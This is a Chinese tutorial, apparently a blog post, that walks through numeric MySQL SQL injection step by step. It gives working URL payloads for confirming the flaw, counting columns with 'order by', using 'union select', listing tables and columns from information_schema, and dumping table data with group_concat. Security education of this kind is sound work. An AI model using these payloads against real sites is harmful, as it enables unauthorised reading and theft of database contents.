MySQL数字型注入

准备知识
sql的增删改查命令(其中and & or(运算符)、order by(排序)、union(合并语句操作符)是重点)

  1. 判断是否存在漏洞
    用and 1=1和and 1=2来验证判断,如:
    http://www.xxx.com/sqli/01.PHP?id=1 and 1=1
    返回数据,说明执行成功
    http://www.xxx.com/sqli/01.PHP?id=1 and 1=2
    不返回数据,说明数据库后台报错了

  2. 用排序间接查找出所有列(专业说法sql中叫字段)
    用order by 来根据字段所在列排序间接查找出有多少个字段(列),如:
    http://www.xxx.com/sqli/01.PHP?id=1 order by 3

  3. 用合并语句查询,并把自定义数字/字符来占位显示,需让自带表达式报错才能显示自定义数字/字符,如:
    http://www.xxx.com/1.PHP?id=1 and 1=2 union select 1,2,3

  4. 找出当前表的数据库名,如:
    http://www.xxx.com/1.PHP?id=1 and 1=2 union select 1,database(),3

  5. 合并查询查出的数据库的所有表名,如:
    http://www.xxx.com/1.PHP?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

  6. 继续合并查询出当前表的所有字段(列名)如:
    http://www.xxx.com/1.PHP?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘news’

  7. 查询出字段下的数据,如:
    http://www.xxx.com/1.PHP?id=1 and 1=2 union select 1,group_concat(id,title,content),3 from news

相关文章

统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...
统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...
前言 之前做了微信登录,所以总结一下微信授权登录并获取用户...
FastAdmin是我第一个接触的后台管理系统框架。FastAdmin是一...
之前公司需要一个内部的通讯软件,就叫我做一个。通讯软件嘛...
统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...